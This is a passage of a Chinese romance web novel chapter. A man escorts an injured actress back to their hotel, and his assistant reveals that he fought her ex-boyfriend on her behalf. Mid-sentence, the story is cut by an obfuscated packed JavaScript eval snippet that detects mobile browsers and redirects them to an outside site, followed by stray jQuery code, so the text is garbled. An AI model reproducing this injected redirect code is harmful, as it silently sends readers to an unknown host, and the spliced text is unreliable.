饭店离酒店不过百来米的距离,周衍没有开车,推着裴云妙在夜色中慢行,秋风簌簌吹拂着树叶,却好久都没能把周衍绷着的脸吹柔。
接连两天见周衍发这么大的火,裴云妙不好拿捏这个气氛,不敢说话,周衍一路也没有说话,始终目视前方。
唇线和下颌线紧绷,眉骨微凸,和高挺的鼻梁一般锋利。
裴云妙透过手机屏幕反射偷偷看了周衍许多眼。
又一次悄悄摆弄手机的时候,恰好被环顾四周车辆的周衍看到,周衍在手机屏幕中与她对视,轻叹一声后,眼里的那抹怒气终于散了。
他停下来,驻足在路口等绿灯。
微微弯下身来,“抱歉妙妙,吓到你了。”
“没、没有!”
裴云妙并未觉得被吓到,她只是觉得不太有必要。
周衍完全没必要发这么大火的。
梁言欢和汤珈艺是什么德性他们早就知道了,娱乐圈里这种事也不少见,该怎么处理就怎么处理,好在他们也没太大损失。
可周衍这场火发得,就好像被触到了逆鳞。
她不怕,但看着周衍紧蹙的眉头,那怒火一烧,她跟着觉得难过。
周衍对她一笑,“是我没控制住,早知如此,我不该带你来的。”
是没想到汤珈艺说话那样难听,恶语伤人,汤珈艺为了攻击他竟然扯上了裴云妙一块儿骂。
他不想裴云妙受到任何攻击谩骂,尤其是这样的话。
她受过这样的攻击,一次就够了。
想到这里,他后悔只是那样对付了梁言欢,应该趁着这一次的事,一举把他也送进去的。
“我再去打个电话。”
他要往旁边退几步,不想让裴云妙听见那些扰人的事。
但面前的人却手快拉住了他,明媚如夏花般的笑容,驱散了秋夜里的丝丝寒凉。
裴云妙鬼使神差地伸手在周衍眉间一抚,周衍紧皱的眉头过分自然地随着她的动作舒展。
她笑得很真诚,“不会啊,饭菜很合胃口,只是……”
还揉了揉肚子,“还想吃,没吃饱……”
周衍破功,彻底不生气了。
“回去我给你煮面吃。”
裴云妙满足地笑出了八颗白牙。
正好绿灯亮起,周衍再次推动轮椅,推着裴云妙往酒店的方向走去。
或许是路口往来的行人多一些,夜色里的秋风不显得那么萧瑟了,裴云妙在手机屏幕里看周衍的倒影,这个死亡角度也很好看呢。
她心情好,开口向周衍道谢:“周衍哥,谢谢你这回又帮了我。”
这话真诚归真诚,到底还是稍显客套。
周衍的眉梢轻轻颤了一下。
他最近好像敏感了很多。
该不会是在怪他插手这几件事吧?
听冯莉说,她是想自己处理的。
把着轮椅推手的劲儿不自觉大了一点,周衍轻声:“我并没有插手,事情还是按你和冯莉沟通的方案做的,你完成得很好,妙妙。”
怎么感觉像是在哄小孩儿。
裴云妙抿嘴笑了一下,回身拍了拍周衍握住轮椅推手的手。
因为过度发力,周衍手背上的青筋绷得很明显,裴云妙的指尖软软轻轻地拂过,温和地让人十分安心。
裴云妙学着他的话。
“我知道的周衍哥,你也完成得很好。”
火光中陡然出现的身影就已经抹去了她心中所有的不安,便无所谓再以何种身份、何种模式、何种关系与他相处了。
她很谢谢周衍对她的照顾,也很感激周衍在尊重她的意愿。
她也像是在哄小孩儿。
“妙妙……”
周衍喉头哽咽了一瞬,尚来不及说什么,裴云妙突然叫了一声,两手搂着他的手腕把衣袖往上推。
“周衍哥你的手!”
白天还没发现,他一直穿的长袖衬衫,袖口扣得很紧。
这会儿可能是由于刚刚火气上来,他下意识扭开了袖扣,翻上了一截袖子,裴云妙回身正好看见手腕后的伤疤。
除了那天救她时被火燎伤的那一块,周衍的手臂上还有一片青紫,那可不是被烫的!
“没什么,不要紧。”
周衍越是轻描淡写,裴云妙就越觉得着急。
她也不知道哪儿来的脾气,死死箍住周衍的手腕,不让他收回手也不让他把衣袖放下来。
难怪这两天死活不让她看伤处呢,原来搁这里套娃?
伤后还有伤啊!
“这是怎么弄的?疼不疼啊?”
看起来好疼,一大片的青紫呢。
她那天被砚台一角砸了一下就疼得不行,到现在还有一点青黄色在手臂上。
周衍这伤,少不得要半个月往上才能好了。
“怎么会弄成这样呢……上药了吗?”
裴云妙抬起头看了一眼周衍又看回他的伤处,小心地伸出手指在其上抚摸过去,不敢碰重了,只怕又把周衍给弄疼。
但她才不懂,她的关心和心疼堪比一切良药,指尖凉凉的触感惹得周衍心里一阵酥麻。
什么痛不痛的,他都快好了。
在她皱着眼眸心疼看他时就好了。
他不愿让裴云妙再担心,伸手在她头上揉了揉,然后还是把衣袖褪了下来。
“不小心碰的,已经上过药了,不疼。”
“骗人,怎么可能不疼……”
这么大个人了,怎么还跟她似的会碰伤。
裴云妙不放心,偶然又想起上回明馨拿给她的那罐药膏。
“啊!我那儿有药的,还挺好用!等回酒店去我拿给你!”
但她不大确定,盯着周衍的眼睛,“你今天还住这里吧?还是要回南乔了?”
回南乔?
他都快忘了自己的公司还在南乔。
“嗯,我还住这儿,国庆假期还有几天,我可以陪你。”
反正不是没带电脑,他可以在酒店办公。
全年三百六十五天连轴转,他休个国庆假不过分吧?
嗯,不过分。
“那就好!”裴云妙说不清究竟在开心什么,双眼笑成了一轮弯月。
回到酒店周衍先将她送去了她的房间,他得为这几天的休假提前安排些工作。
裴云妙正好也想先洗个澡,她虽然崴了脚但也不是走不得,轮椅那是周衍小题大做,洗澡这种事还是不劳烦周衍了。
收拾好自己,她没忘去拿明馨送来的药膏,还没见周衍发消息给她,她干脆一只脚蹦跶着去找周衍。
反正都在酒店的同一层,周衍来之后给她住的房间也升到了总统套房,和他一层,也不怕被人看见说什么。
但裴云妙没想到在周衍房门口看见了林清。
“林助?你怎么来了?”
还站在门口,也不进去。
“周衍哥呢?”
裴云妙通过敞开的门往里探头,没看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15534246|167002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见周衍在客厅。
林清一见裴云妙就露出了职业周到的笑容,他抓紧了夸自家老板,万一老板心情好了,兴许他也能跟着休个假。
“周总在里边给您煮面呢!”
裴云妙眼眸亮了一瞬,又露出狐疑的神情。
她分明听见了一点周衍说话的声音。
“一边煮面一边开会?”
“谁说不行呢!”林清笑眯眯,“周总忙着排工作,临时组了个线上会议,这不又担心您饿着,所以一边煮面一边开会。”
“那这……”
这多不好意思,搞得她好像是个饿死鬼投胎……
林清察言观色,马上宽慰她:“裴小姐别不好意思,我们周总对您好那真是没得说了,谁不羡慕呢!明着能帮您公关控评营销造势,暗里能帮您扫黑除恶嘴人揍人,真真是上得厅堂下得厨房的绝佳好男人啊!”
“啊?”
林清在说些什么乱七八糟的。
“什么嘴人揍人?”
林清也啊了一声,目光刚好落在裴云妙手上的药罐上。
“您不知道吗?”
他后知后觉,自己好像嘴碎了点……
裴云妙也看向手里的药罐,想起周衍胳膊上的伤。
她猛然抬眸,“周衍哥和人打架啦?!”
“呃这……”
看林清的表情,十有八九跑不了。
“和谁?”裴云妙急着问。
谁敢打周衍啊?
没人帮周衍摁着对方,还叫对方把周衍打伤了?
这太过分了吧!
林清看着裴云妙那帮亲不帮理的表情,心说就算把自家老板的底揭了,老板娘一哄,应该也不会再怪他大嘴巴了吧。
犹豫一下,林清小声:“是梁言欢。”
“梁言欢?!”
裴云妙的震惊不是装的,看来她是真的不知道。
林清干脆做个好人,好好标榜一下他家那光做好事不留名的老板。
“不是前几天群演泼墨,还有起火这事吗?虽然您不让老板插手,但老板私下里还是去查了,那个叫汤珈艺的小艺人傍的是梁言欢的大腿,梁言欢不甘心您和他分手时公关的那事,他可损失了很多资源,所以就想找个人来阴你。”
“看您这样也是不知道,之前好几次偷拍,包括《春意闹》开机仪式上那些记者,其实也是梁言欢买通搞的事,周总一直在查。”
“别说生希了,就是米傲要对付汤珈艺那个咖位的也很容易,但是毕竟梁言欢后头还有很多资本在捞,周总要顾及生希和家里的生意,一时不好动梁言欢。”
林清说到这儿,又怕裴云妙误会周衍是不想为了她和梁言欢背后的资本起冲突,忙补充:“但周总还是在一步步打压梁言欢背后的资本的,只是不会这么快,像封杀汤珈艺一样快就是了,但我保证那姓梁的没多久好日子过的!”
最最关键的是。
“周总心疼您又气不过,那天在南乔的饭店遇见了梁言欢,竟然亲自把姓梁的堵厕所里揍了一顿,我拉都拉不住!”
说到性急的时候,林清抬起两只手都演了起来。
“我就这么拽着,九头牛都拽不动啊!周总什么身量您又不是不知道!那姓梁的被揍得都在地上打滚了,最后也不知道怎么摸到了一块布景的石头,就那样实打实地拍在了周总胳膊上!”
“砰一声!给我吓得!”
林清绘声绘色,而那砰地一声,也落在了裴云妙的心上。